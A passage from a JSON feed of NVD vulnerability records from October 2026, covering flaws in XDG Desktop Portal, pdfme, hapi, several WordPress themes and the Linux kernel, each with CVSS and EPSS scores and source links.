CVE-2026-55889","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55889","type":"primary","publishedAt":"2026-10-23T13:17:10.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55889&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55889, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55888","cveId":"CVE-2026-55888","aliases":[],"kind":"vulnerability","title":"XDG Desktop Portal is a desktop integration portal.","summary":"XDG Desktop Portal is a desktop integration portal. Prior to version 1.22.1, malicious sandboxed applications can use the FileChooser.SaveFiles method to gain arbitrary file access to non-existing files on the host (limited to files the user has access to). The FileChooser.SaveFiles method takes optional filenames which get appended to the selected directory by backends. The backends are supposed to check that the file does not exist yet. The filenames are not validated by the frontend and also not by common backends. This issue has been patched in version 1.22.1.","detail":"XDG Desktop Portal is a desktop integration portal. Prior to version 1.22.1, malicious sandboxed applications can use the FileChooser.SaveFiles method to gain arbitrary file access to non-existing files on the host (limited to files the user has access to). The FileChooser.SaveFiles method takes optional filenames which get appended to the selected directory by backends. The backends are supposed to check that the file does not exist yet. The filenames are not validated by the frontend and also not by common backends. This issue has been patched in version 1.22.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:10.090Z","updatedAt":"2026-10-23T19:54:04.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55888","asOf":"2026-10-23T19:54:04.270Z"},"epss":{"probability":0.00383,"percentile":0.32018,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55888&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55888","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55888","type":"primary","publishedAt":"2026-10-23T13:17:10.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55888&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55888, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115729","cveId":"CVE-2026-115729","aliases":[],"kind":"vulnerability","title":"@pdfme/common from 5.5.10 before 6.2.6 contains a server-side request forgery vulnerability that allows attackers to bypass the isUrlSafeToFetch denylist in getB64BasePdf.","summary":"@pdfme/common from 5.5.10 before 6.2.6 contains a server-side request forgery vulnerability that allows attackers to bypass the isUrlSafeToFetch denylist in getB64BasePdf. Attackers can supply basePdf URLs using IPv4-mapped IPv6, [::], NAT64 or localhost alias hostnames to read loopback, internal or cloud metadata responses through generated documents.","detail":"@pdfme/common from 5.5.10 before 6.2.6 contains a server-side request forgery vulnerability that allows attackers to bypass the isUrlSafeToFetch denylist in getB64BasePdf. Attackers can supply basePdf URLs using IPv4-mapped IPv6, [::], NAT64 or localhost alias hostnames to read loopback, internal or cloud metadata responses through generated documents.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:08.740Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115729","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00286,"percentile":0.20932,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115729&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115729","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115729","type":"primary","publishedAt":"2026-10-23T13:17:08.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115729&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115729, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115728","cveId":"CVE-2026-115728","aliases":[],"kind":"vulnerability","title":"@hapi/content from 6.0.1 before 6.0.3 contains a regular expression denial of service vulnerability in Content.disposition() caused by an incomplete fix for CVE-2026-35213.","summary":"@hapi/content from 6.0.1 before 6.0.3 contains a regular expression denial of service vulnerability in Content.disposition() caused by an incomplete fix for CVE-2026-35213. Unauthenticated remote attackers can send multipart uploads with a long Content-Disposition parameter lacking an equals sign, triggering quadratic backtracking that blocks the event loop.","detail":"@hapi/content from 6.0.1 before 6.0.3 contains a regular expression denial of service vulnerability in Content.disposition() caused by an incomplete fix for CVE-2026-35213. Unauthenticated remote attackers can send multipart uploads with a long Content-Disposition parameter lacking an equals sign, triggering quadratic backtracking that blocks the event loop.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:08.590Z","updatedAt":"2026-10-23T19:45:03.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115728","asOf":"2026-10-23T19:45:03.547Z"},"epss":{"probability":0.00466,"percentile":0.40072,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115728&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115728","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115728","type":"primary","publishedAt":"2026-10-23T13:17:08.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115728&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115728, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112863","cveId":"CVE-2026-112863","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hogash KALLYAS kallyas allows Reflected XSS.This issue affects KALLYAS: from...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hogash KALLYAS kallyas allows Reflected XSS.This issue affects KALLYAS: from n/a through 4.25.0.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hogash KALLYAS kallyas allows Reflected XSS.This issue affects KALLYAS: from n/a through 4.25.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:07.830Z","updatedAt":"2026-10-24T15:17:10.440Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112863","asOf":"2026-10-24T15:17:10.440Z"},"epss":{"probability":0.00146,"percentile":0.03793,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112863&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112863","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112863","type":"primary","publishedAt":"2026-10-23T13:17:07.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112863&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112863, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112852","cveId":"CVE-2026-112852","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in ThemeREX Group Helion helion allows Object Injection.This issue affects Helion: from n/a through 1.1.12.","summary":"Deserialization of Untrusted Data vulnerability in ThemeREX Group Helion helion allows Object Injection.This issue affects Helion: from n/a through 1.1.12.","detail":"Deserialization of Untrusted Data vulnerability in ThemeREX Group Helion helion allows Object Injection.This issue affects Helion: from n/a through 1.1.12.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:06.817Z","updatedAt":"2026-10-24T15:17:03.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112852","asOf":"2026-10-24T15:17:03.113Z"},"epss":{"probability":0.00257,"percentile":0.17205,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112852&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112852","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112852","type":"primary","publishedAt":"2026-10-23T13:17:06.817Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112852&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112852, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112850","cveId":"CVE-2026-112850","aliases":[],"kind":"vulnerability","title":"Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Your Dress your-dress allows PHP Local File...","summary":"Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Your Dress your-dress allows PHP Local File Inclusion.This issue affects Your Dress: from n/a through 1.4.1.","detail":"Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Your Dress your-dress allows PHP Local File Inclusion.This issue affects Your Dress: from n/a through 1.4.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:06.563Z","updatedAt":"2026-10-24T15:17:01.230Z","regions":["Global"],"vendor":null,"product":null,"stacks":["PHP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112850","asOf":"2026-10-24T15:17:01.230Z"},"epss":{"probability":0.00337,"percentile":0.26822,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112850&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112850","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112850","type":"primary","publishedAt":"2026-10-23T13:17:06.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112850&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112850, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112849","cveId":"CVE-2026-112849","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AivahThemes Hostme v2 hostmev2 allows DOM-Based XSS.This issue affects Hostme...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AivahThemes Hostme v2 hostmev2 allows DOM-Based XSS.This issue affects Hostme v2: from n/a through 7.0.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AivahThemes Hostme v2 hostmev2 allows DOM-Based XSS.This issue affects Hostme v2: from n/a through 7.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:06.437Z","updatedAt":"2026-10-23T16:06:31.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112849","asOf":"2026-10-23T16:06:31.143Z"},"epss":{"probability":0.0019,"percentile":0.08559,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112849&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112849","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112849","type":"primary","publishedAt":"2026-10-23T13:17:06.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112849&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112849, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98911","cveId":"CVE-2026-98911","aliases":[],"kind":"vulnerability","title":"Linux kernel: dpaa2-switch: fix the error path in dpaa2_switch_rx()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ndpaa2-switch: fix the error path in dpaa2_switch_rx()\n\nIn case of an error in dpaa2_switch_rx(), the dpaa2_switch_free_fd()\nfunction is called in order to free the FD. This is incorrect since the\ndpaa2_switch_free_fd() is intended to be used on Tx frame descriptors,\nmeaning that it expects in the software annotation area of the FD data\nto find a valid skb pointer on which to call dev_kfree_skb().\n\nFix this by extracting the dma_unmap_page() from\ndpaa2_switch_build_linear_skb() directly into the dpaa2_switch_rx()\nfunction. This allows us to directly use free_pages() in case of an\nerror before an SKB was created and kfree_skb() afterwards.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ndpaa2-switch: fix the error path in dpaa2_switch_rx()\n\nIn case of an error in dpaa2_switch_rx(), the dpaa2_switch_free_fd()\nfunction is called in order to free the FD. This is incorrect since the\ndpaa2_switch_free_fd() is intended to be used on Tx frame descriptors,\nmeaning that it expects in the software annotation area of the FD data\nto find a valid skb pointer on which to call dev_kfree_skb().\n\nFix this by extracting the dma_unmap_page() from\ndpaa2_switch_build_linear_skb() directly into the dpaa2_switch_rx()\nfunction. This allows us to directly use free_pages() in case of an\nerror before an SKB was created and kfree_skb() afterwards.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:25.240Z","updatedAt":"2026-10-26T07:17:16.467Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98911","asOf":"2026-10-26T07:17:16.467Z"},"epss":{"probability":0.00318,"percentile":0.24454,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98911&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98911","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98911","type":"primary","publishedAt":"2026-10-23T12:18:25.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98911&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98911, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98899","cveId":"CVE-2026-98899","aliases":[],"kind":"vulnerability","title":"Linux kernel: netfilter: ipset: mark the rcu locked areas properly","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: ipset: mark the rcu locked areas properly\n\nWhen we bump the uref counter, there's no need to keep\nthe rcu lock because the referred hash table can't\ndisappear. Also, from the same reason in mtype_gc we\nneed the rcu lock and not a spinlock.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: ipset: mark the rcu locked areas properly\n\nWhen we bump the uref counter, there's no need to keep\nthe rcu lock because the referred hash table can't\ndisappear. Also, from the same reason in mtype_gc we\nneed the rcu lock and not a spinlock.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:23.897Z","updatedAt":"2026-10-26T07:17:15.190Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98899","asOf":"2026-10-26T07:17:15.190Z"},"epss":{"probability":0.00169,"percentile":0.06282,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98899&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98899","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98899","type":"primary","publishedAt":"2026-10-23T12:18:23.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98899&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98899, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98895","cveId":"CVE-2026-98895","aliases":[],"kind":"vulnerability","title":"Linux kernel: net/mlx5: HWS, Handle destroying table that has a miss table","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5: HWS, Handle destroying table that has a miss table\n\nIf a table has a miss table that was created by\n'mlx5hws_table_set_default_miss' API function, its miss_tbl\nkeeps the table that points to it in a list.\nIf such table is deleted, we need to also remove it from the\nmiss_tbl list, otherwise the node in miss_tbl list will contain\ngarbage.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5: HWS, Handle destroying table that has a miss table\n\nIf a table has a miss table that was created by\n'mlx5hws_table_set_default_miss' API function, its miss_tbl\nkeeps the table that points to it in a list.\nIf such table is deleted, we need to also remove it from the\nmiss_tbl list, otherwise the node in miss_tbl list will contain\ngarbage.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T12:18:23.433Z","updatedAt":"2026-10-26T07:17:14.743Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98895","asOf":"2026-10-26T07:17:14.743Z"},"epss":{"probability":0.00169,"percentile":0.06218,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98895&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98895","type":"primary","publishedAt":"2026-10-23T12:18:23.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98895&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98895, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98889","cveId":"CVE-2026-98889","aliases":[],"kind":"vulnerability","title":"Linux kernel: wifi: iwlwifi: mvm: fix sched scan IE sizing","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: iwlwifi: mvm: fix sched scan IE sizing\n\nScheduled scan built the probe request before iwl_mvm_scan_fits(),\nso oversized IEs could be copied into the fixed preq buffer before\nlength validation. Move iwl_mvm_build_scan_probe() after the fits\ncheck.\n\nAlso advertise max_sched_scan_ie_len using iwl_mvm_max_scan_ie_len()\nso userspace limits account for driver-inserted DS/TPC bytes.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: iwlwifi: mvm: fix sched scan IE sizing\n\nScheduled scan built the probe request before iwl_mvm_scan_fits(),\nso oversized IEs could be copied into the fixed preq buffer before\nlength validation. Move iwl_mvm_build_scan_probe() after the 